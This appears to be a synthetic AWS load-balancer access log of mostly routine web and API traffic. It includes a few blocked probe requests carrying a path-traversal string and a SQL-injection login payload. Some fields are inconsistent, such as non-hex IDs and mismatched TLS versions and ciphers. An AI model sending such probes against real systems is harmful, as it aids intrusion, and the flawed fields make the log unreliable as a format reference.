2024-11-01T02:03:22.380444Z prod-web-alb 160.134.121.18:28262 10.0.13.15:443 0.075229 0.336410 0.082157 200 200 973 12936 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d47a-c57fcb98adc540439aadd135" "prod-web-alb.example.com" "-" 9 2024-11-01T02:03:22.380444Z "forward" "-" "-" "10.0.13.15:443" "200" "-" "-" +https 2024-11-01T02:03:23.476686Z prod-web-alb 6.209.139.101:30606 10.0.47.101:443 0.028270 0.428540 0.094691 200 200 664 546 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d47b-dcaa8d5c78e54ba49e47b5a2" "prod-web-alb.example.com" "-" 8 2024-11-01T02:03:23.476686Z "forward" "-" "-" "10.0.47.101:443" "200" "-" "-" +https 2024-11-01T02:03:25.275489Z prod-web-alb 129.10.250.116:30240 10.0.251.78:443 0.085638 0.420370 0.060881 302 302 923 12255 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d47d-8e64f462c9a84594a2d664df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:25.275489Z "forward" "-" "-" "10.0.251.78:443" "302" "-" "-" +https 2024-11-01T02:03:26.681114Z prod-api-alb 90.90.108.148:39364 10.0.112.64:443 0.033157 0.074821 0.028889 200 200 477 8771 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d47e-27876f8688e04356bf85fe69" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:26.681114Z "forward" "-" "-" "10.0.112.64:443" "200" "-" "-" +https 2024-11-01T02:03:28.347377Z prod-api-alb 45.155.205.144:42776 10.0.180.16:443 0.008983 0.066726 0.063015 404 404 83 12917 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d480-61ba63d9b4924038b9b2623c" "-" "-" 10 2024-11-01T02:03:28.347377Z "forward" "-" "-" "10.0.180.16:443" "404" "-" "-" +https 2024-11-01T02:03:28.772322Z prod-api-alb 210.12.62.16:46744 10.0.127.182:443 0.003078 0.370431 0.063740 200 200 34 12165 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d480-d74867cfc15040dba23fe347" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:28.772322Z "forward" "-" "-" "10.0.127.182:443" "200" "-" "-" +http 2024-11-01T02:03:29.939948Z staging-alb 147.223.75.172:27057 246.14.233.7:443 0.104805 0.379432 0.089609 200 200 897 10736 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d481-4451e5d3b9d146629363a4c4" "staging-alb.example.com" "-" 8 2024-11-01T02:03:29.939948Z "forward" "-" "-" "246.14.233.7:443" "200" "-" "-" +https 2024-11-01T02:03:30.684131Z prod-web-alb 90.249.15.117:48425 10.0.74.163:443 0.045673 0.421501 0.059160 302 302 446 2623 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d482-3114be55ef1940ceb7de6cee" "prod-web-alb.example.com" "-" 4 2024-11-01T02:03:30.684131Z "forward" "-" "-" "10.0.74.163:443" "302" "-" "-" +https 2024-11-01T02:03:30.872756Z prod-api-alb 197.98.249.48:11559 10.0.248.101:443 0.077422 0.088249 0.055429 200 200 805 1472 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d482-27bb825c030d43cd9376378e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:03:30.872756Z "forward" "-" "-" "10.0.248.101:443" "200" "-" "-" +https 2024-11-01T02:03:32.825382Z prod-api-alb 62.11.252.154:19887 10.0.75.3:443 0.050825 0.194075 0.025020 200 200 479 670 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d484-5307cb7913dd4132831fc539" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:32.825382Z "forward" "-" "-" "10.0.75.3:443" "200" "-" "-" +https 2024-11-01T02:03:33.358259Z staging-alb 186.99.115.161:48822 56.109.15.37:443 0.000836 0.211702 0.109806 200 200 258 11957 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d485-e8819b2cbced4e209eccc3a9" "staging-alb.example.com" "-" 0 2024-11-01T02:03:33.358259Z "forward" "-" "-" "56.109.15.37:443" "200" "-" "-" +http 2024-11-01T02:03:34.960599Z staging-alb 235.170.125.245:42819 109.199.242.174:443 0.002541 0.023425 0.004595 404 404 95 864 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d486-eefdd8eba5c642adb214f745" "staging-alb.example.com" "-" 9 2024-11-01T02:03:34.960599Z "forward" "-" "-" "109.199.242.174:443" "404" "-" "-" +https 2024-11-01T02:03:35.244231Z prod-web-alb 166.147.151.55:24060 10.0.162.209:443 0.000824 0.476710 0.057471 200 200 481 3996 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d487-c54b590a4f514084a898cb7e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:03:35.244231Z "forward" "-" "-" "10.0.162.209:443" "200" "-" "-" +https 2024-11-01T02:03:36.521322Z staging-alb 24.1.6.239:52046 61.124.144.115:80 0.038201 0.160422 0.087459 200 200 300 13893 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d488-a93bb74d30eb4787921af176" "staging-alb.example.com" "-" 9 2024-11-01T02:03:36.521322Z "forward" "-" "-" "61.124.144.115:80" "200" "-" "-" +https 2024-11-01T02:03:37.794204Z staging-alb 109.96.98.184:23029 148.193.253.246:8080 0.141778 0.638276 0.118728 200 200 378 7470 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d489-3489a0ac610146cdabb9e70e" "staging-alb.example.com" "-" 3 2024-11-01T02:03:37.794204Z "forward" "-" "-" "148.193.253.246:8080" "200" "-" "-" +https 2024-11-01T02:03:39.068373Z staging-alb 241.11.132.131:31691 228.219.148.118:443 0.119296 0.089923 0.016493 200 200 373 11023 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d48b-635b8f213e684857889210b7" "staging-alb.example.com" "-" 10 2024-11-01T02:03:39.068373Z "forward" "-" "-" "228.219.148.118:443" "200" "-" "-" +https 2024-11-01T02:03:40.263581Z prod-web-alb 249.74.132.152:60683 10.0.108.50:443 0.073910 0.311126 0.026148 200 200 358 7167 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d48c-c6f2bb48877b4f8982a3b5ba" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:40.263581Z "forward" "-" "-" "10.0.108.50:443" "200" "-" "-" +https 2024-11-01T02:03:41.478382Z prod-api-alb 22.77.136.216:40273 10.0.145.93:443 0.094076 0.261942 0.012329 200 200 362 2156 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d48d-c974b0f2189a48bb8a25ed11" "prod-api-alb.example.com" "-" 3 2024-11-01T02:03:41.478382Z "forward" "-" "-" "10.0.145.93:443" "200" "-" "-" +https 2024-11-01T02:03:43.411377Z prod-api-alb 18.68.240.24:22248 10.0.178.92:443 0.055300 0.207731 0.093047 200 200 692 13021 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d48f-fc4be26036254dd9a44bb6f4" "prod-api-alb.example.com" "-" 0 2024-11-01T02:03:43.411377Z "forward" "-" "-" "10.0.178.92:443" "200" "-" "-" +https 2024-11-01T02:03:44.765813Z staging-alb 77.228.59.63:59413 202.16.88.57:443 0.115057 0.445933 0.020301 302 302 254 14788 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d490-717af8e5fe9d4deba1aeedd1" "staging-alb.example.com" "-" 6 2024-11-01T02:03:44.765813Z "forward" "-" "-" "202.16.88.57:443" "302" "-" "-" +https 2024-11-01T02:03:46.281547Z prod-api-alb 19.142.72.75:64800 10.0.109.144:443 0.054127 0.221143 0.037788 404 404 451 5460 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d492-0ad085557de34c929de62a1b" "prod-api-alb.example.com" "-" 8 2024-11-01T02:03:46.281547Z "forward" "-" "-" "10.0.109.144:443" "404" "-" "-" +https 2024-11-01T02:03:48.242265Z prod-web-alb 188.21.47.109:31812 10.0.183.44:443 0.053274 0.273140 0.066259 200 200 340 10879 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d494-805f871bfe6c4729a4d3a777" "prod-web-alb.example.com" "-" 8 2024-11-01T02:03:48.242265Z "forward" "-" "-" "10.0.183.44:443" "200" "-" "-" +https 2024-11-01T02:03:50.064923Z prod-web-alb 130.218.198.141:25964 10.0.157.55:443 0.026190 0.022459 0.060811 200 200 694 11527 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d496-0898b622f659455b82f31319" "prod-web-alb.example.com" "-" 7 2024-11-01T02:03:50.064923Z "forward" "-" "-" "10.0.157.55:443" "200" "-" "-" +http 2024-11-01T02:03:52.012018Z staging-alb 22.130.102.186:44638 89.5.8.233:80 0.048209 0.318840 0.129859 200 200 251 466 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d498-79bc8be327a844dd9d19348f" "staging-alb.example.com" "-" 2 2024-11-01T02:03:52.012018Z "forward" "-" "-" "89.5.8.233:80" "200" "-" "-" +https 2024-11-01T02:03:52.329634Z prod-api-alb 51.13.73.189:52289 10.0.212.150:443 0.073487 0.311178 0.002616 200 200 539 728 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d498-8e42b1c071974d8ebc0b63b5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:03:52.329634Z "forward" "-" "-" "10.0.212.150:443" "200" "-" "-" +https 2024-11-01T02:03:53.914565Z prod-web-alb 62.133.181.52:58798 10.0.108.203:443 0.021485 0.062366 0.017592 200 200 788 2613 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d499-33bb28f33579426ba64c1be6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:53.914565Z "forward" "-" "-" "10.0.108.203:443" "200" "-" "-" +http 2024-11-01T02:03:55.108043Z staging-alb 142.213.205.83:45201 250.9.227.106:80 0.121572 0.631426 0.094155 200 200 520 1319 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d49b-dbef412fddbb497e9dae99c3" "staging-alb.example.com" "-" 5 2024-11-01T02:03:55.108043Z "forward" "-" "-" "250.9.227.106:80" "200" "-" "-" +https 2024-11-01T02:03:57.079214Z prod-api-alb 221.87.217.149:42332 10.0.181.203:443 0.015486 0.349167 0.057125 200 200 71 2075 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d49d-7eb09228ebef482392a784c0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:57.079214Z "forward" "-" "-" "10.0.181.203:443" "200" "-" "-" +https 2024-11-01T02:03:57.873558Z prod-api-alb 239.161.153.34:10835 10.0.223.46:443 0.063283 0.158655 0.023311 404 404 580 1040 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d49d-6e3b89f94cd84c2ead63fbc3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:03:57.873558Z "forward" "-" "-" "10.0.223.46:443" "404" "-" "-" +http 2024-11-01T02:03:57.987807Z staging-alb 253.160.24.86:24915 104.180.212.149:8080 0.056098 0.704949 0.063576 200 200 510 14460 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d49d-8440a45d227840f2ac536ee7" "staging-alb.example.com" "-" 4 2024-11-01T02:03:57.987807Z "forward" "-" "-" "104.180.212.149:8080" "200" "-" "-" +https 2024-11-01T02:03:58.830381Z prod-api-alb 185.181.104.251:58966 10.0.122.107:443 0.034590 0.244338 0.038021 403 403 212 14271 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d49e-4641507a9a4e4f40a7a5cbf9" "-" "-" 3 2024-11-01T02:03:58.830381Z "forward" "-" "-" "10.0.122.107:443" "403" "-" "-" +https 2024-11-01T02:04:00.229836Z prod-web-alb 95.222.90.159:10512 10.0.220.142:443 0.096725 0.084233 0.076349 301 301 546 3575 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a0-f264ef3b46424512b2191b13" "prod-web-alb.example.com" "-" 9 2024-11-01T02:04:00.229836Z "forward" "-" "-" "10.0.220.142:443" "301" "-" "-" +https 2024-11-01T02:04:02.017518Z prod-api-alb 181.187.32.212:52164 10.0.27.209:443 0.033752 0.463047 0.014834 200 200 718 6292 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4a2-d49c783154174d61bcd8b16b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:04:02.017518Z "forward" "-" "-" "10.0.27.209:443" "200" "-" "-" +https 2024-11-01T02:04:03.738887Z prod-web-alb 156.253.64.245:53399 10.0.207.174:443 0.088885 0.310434 0.086325 200 200 392 14862 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4a3-81c99250849e41b0a3e74f22" "prod-web-alb.example.com" "-" 8 2024-11-01T02:04:03.738887Z "forward" "-" "-" "10.0.207.174:443" "200" "-" "-" +https 2024-11-01T02:04:03.962410Z prod-web-alb 144.29.25.10:12948 10.0.150.27:443 0.014146 0.037406 0.042946 200 200 492 6528 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a3-4b4882ff6e67418999dae4b7" "prod-web-alb.example.com" "-" 7 2024-11-01T02:04:03.962410Z "forward" "-" "-" "10.0.150.27:443" "200" "-" "-" +https 2024-11-01T02:04:04.259547Z staging-alb 147.219.151.217:35634 173.244.246.11:443 0.039605 0.486426 0.002184 200 200 164 11086 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4a4-25636962d3bd4e80bad892b2" "staging-alb.example.com" "-" 5 2024-11-01T02:04:04.259547Z "forward" "-" "-" "173.244.246.11:443" "200" "-" "-" +https 2024-11-01T02:04:04.847219Z prod-web-alb 19.205.246.7:53347 10.0.159.219:443 0.026940 0.039543 0.035067 200 200 688 4233 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4a4-4b388fb9e37d4a60bb1081e4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:04.847219Z "forward" "-" "-" "10.0.159.219:443" "200" "-" "-" +https 2024-11-01T02:04:05.705202Z prod-web-alb 89.231.237.191:41546 10.0.100.126:443 0.049110 0.139100 0.052213 302 302 210 12717 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a5-4ccf39cca83744c6b8998d9f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:05.705202Z "forward" "-" "-" "10.0.100.126:443" "302" "-" "-" +https 2024-11-01T02:04:07.591941Z prod-api-alb 27.34.243.204:28426 10.0.186.64:443 0.059735 0.370213 0.083503 301 301 771 2247 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4a7-a204c191c83b47bba4a6e6b5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:07.591941Z "forward" "-" "-" "10.0.186.64:443" "301" "-" "-" +http 2024-11-01T02:04:09.436518Z staging-alb 138.15.145.218:52962 165.104.208.121:8080 0.059877 0.672990 0.037529 200 200 351 5378 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4a9-ff86d89dc90846749a5330b5" "staging-alb.example.com" "-" 6 2024-11-01T02:04:09.436518Z "forward" "-" "-" "165.104.208.121:8080" "200" "-" "-" +https 2024-11-01T02:04:11.134817Z prod-web-alb 167.74.1.184:21598 10.0.154.224:443 0.072334 0.200051 0.036797 302 302 734 1254 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ab-2b9c62ded7614cbab812e93f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:11.134817Z "forward" "-" "-" "10.0.154.224:443" "302" "-" "-" +https 2024-11-01T02:04:12.308232Z prod-api-alb 99.100.28.59:14054 10.0.95.55:443 0.001609 0.190850 0.034205 200 200 38 11211 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ac-d0751c3688c2474ebae61640" "prod-api-alb.example.com" "-" 5 2024-11-01T02:04:12.308232Z "forward" "-" "-" "10.0.95.55:443" "200" "-" "-" +https 2024-11-01T02:04:14.176071Z prod-web-alb 18.59.165.9:23597 10.0.238.97:443 0.039439 0.313682 0.086294 302 302 916 3757 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ae-bd2766ecb2c04f40b02504d6" "prod-web-alb.example.com" "-" 0 2024-11-01T02:04:14.176071Z "forward" "-" "-" "10.0.238.97:443" "302" "-" "-" +https 2024-11-01T02:04:15.047989Z prod-web-alb 76.223.44.168:30735 10.0.6.194:443 0.079515 0.154375 0.068582 302 302 544 12276 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4af-61e1596b1f09431d8fd86f04" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:15.047989Z "forward" "-" "-" "10.0.6.194:443" "302" "-" "-" +https 2024-11-01T02:04:15.807823Z prod-web-alb 59.248.132.150:10644 10.0.94.183:443 0.096036 0.239531 0.089222 200 200 285 9016 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4af-bf7c89fa54604fd18a00877c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:04:15.807823Z "forward" "-" "-" "10.0.94.183:443" "200" "-" "-" +https 2024-11-01T02:04:16.616304Z staging-alb 185.181.129.31:50975 39.253.142.182:443 0.070771 0.398518 0.057731 403 403 928 12682 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b0-6b151077e02f496c81706c7e" "-" "-" 4 2024-11-01T02:04:16.616304Z "forward" "-" "-" "39.253.142.182:443" "403" "-" "-" +https 2024-11-01T02:04:16.782431Z prod-web-alb 218.75.174.180:10058 10.0.75.136:443 0.051922 0.288127 0.002089 200 200 141 5863 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4b0-7eaf1fd437da48ee98f9bd3a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:16.782431Z "forward" "-" "-" "10.0.75.136:443" "200" "-" "-" +http 2024-11-01T02:04:18.579383Z staging-alb 182.109.36.175:61578 147.156.117.73:80 0.120583 0.668577 0.034786 200 200 96 5511 "GET /api/v1/products HTTP/1.1" 